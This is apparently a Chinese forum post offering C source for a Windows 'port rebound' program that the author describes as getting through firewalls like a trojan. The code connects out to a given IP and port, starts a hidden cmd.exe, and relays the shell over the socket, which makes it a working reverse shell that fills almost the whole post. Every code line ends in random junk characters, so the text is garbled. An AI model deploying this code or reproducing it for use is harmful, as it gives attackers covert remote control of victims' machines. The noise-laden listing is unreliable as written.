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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %n4@[fG%K  
Jb7iBQ2%  
/* ============================== [#IBYJ.6  
Rebound port in Windows NT \zBd<H4S:  
By wind,2006/7 ^u3*hl}YKy  
===============================*/ WFRsSp2  
#include 7:z>+AM[r  
#include /q T E  
#t){4J  
#pragma comment(lib,"wsock32.lib") A 0 S8Dh$  
Z>X9J(=  
void OutputShell(); bB y'v/  
SOCKET sClient; Ndo}Tk!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eU`;L [  
)4@M`8  
void main(int argc,char **argv) &ycjSBK  
{ Kq$:\B)<c  
WSADATA stWsaData; 33*^($bE&  
int nRet; (Z5q&#f  
SOCKADDR_IN stSaiClient,stSaiServer; [TP  
={\![{L  
if(argc != 3) EK^JLvyT  
{ 1X[ 73  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3T"2S[gT  
return; uijq@yo8-  
} 3(MoXA*  
j'\>Nn+  
WSAStartup(MAKEWORD(2,2),&stWsaData); d:A\<F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pi|\0lH6W  
52da]BW<  
stSaiClient.sin_family = AF_INET; ,<7"K&  
stSaiClient.sin_port = htons(0); f+{c1fb>s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0Wjd-rzc,  
#c6ui0E%;t  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @mvIt  
{ T@B"BoKU  
printf("Bind Socket Failed!\n"); ,NjX&A@  
return; th5 X?so  
} dz{#"No0  
Dq{:R  
stSaiServer.sin_family = AF_INET; (}9cD^F0n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +G<}JJ'V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;+TMx(  
Cw6>^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -FQC9~rR;g  
{ Q1aHIc  
printf("Connect Error!"); 1R5Yn(  
return; XPar_8I  
} 3X,]=f@_  
OutputShell(); eL<m.06cfY  
} ]\[m=0K  
Kl4isGcr]  
void OutputShell() 7bctx_W&6  
{ or?0PEx\  
char szBuff[1024]; >`<Ued  
SECURITY_ATTRIBUTES stSecurityAttributes; >.a+:   
OSVERSIONINFO stOsversionInfo; M' &J _g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,O$Z,J4VL  
STARTUPINFO stStartupInfo; _cW_u?0X:  
char *szShell; t.3Ct@wK  
PROCESS_INFORMATION stProcessInformation; <FCj)CP%  
unsigned long lBytesRead; Y'tqm&}  
99\{!W  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I8 %d;G~  
 Ask' !  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5x:Ift *  
stSecurityAttributes.lpSecurityDescriptor = 0; *jYHd#UZx4  
stSecurityAttributes.bInheritHandle = TRUE; Dm7Y#)%8  
ST[2]   
?|D$#{^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D+bB G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <m?GJuQ'  
SZCF3m&pz  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vF5wA-3&t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F?*Dr  
stStartupInfo.wShowWindow = SW_HIDE; E"Ya-8d=  
stStartupInfo.hStdInput = hReadPipe; nAQyxP%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vp"%IW  
ygmv_YLjm  
GetVersionEx(&stOsversionInfo); .OVW4svX  
L9E;Uii0  
switch(stOsversionInfo.dwPlatformId) 0_YxZS\  
{ y #hga5  
case 1: 1x~%Ydy  
szShell = "command.com"; FY 1},sq  
break; xi '72  
default: b@nri5noBm  
szShell = "cmd.exe"; -ET*M<  
break; :z0s*,QH  
} 71oFm1m{  
dzjBUD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \zk?$'d  
6{JR0  
send(sClient,szMsg,77,0); 3v8V*48B$  
while(1) MgJ%26TZ  
{ y3 ({(URU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?aK'OIo  
if(lBytesRead) =]_d pEEQ  
{ 6vD]@AF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k| _$R?  
send(sClient,szBuff,lBytesRead,0); *G%1_   
} Tf&f`/  
else 5}.,"Fbr  
{ bE7(L $UF  
lBytesRead=recv(sClient,szBuff,1024,0); n/9 LRZD|w  
if(lBytesRead<=0) break; jMm_A#V>p  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ns+)Y^(5  
} ^4xlZouCb  
} SR&(HH$  
kPx]u\  
return; _aXP ;kFMi  
}
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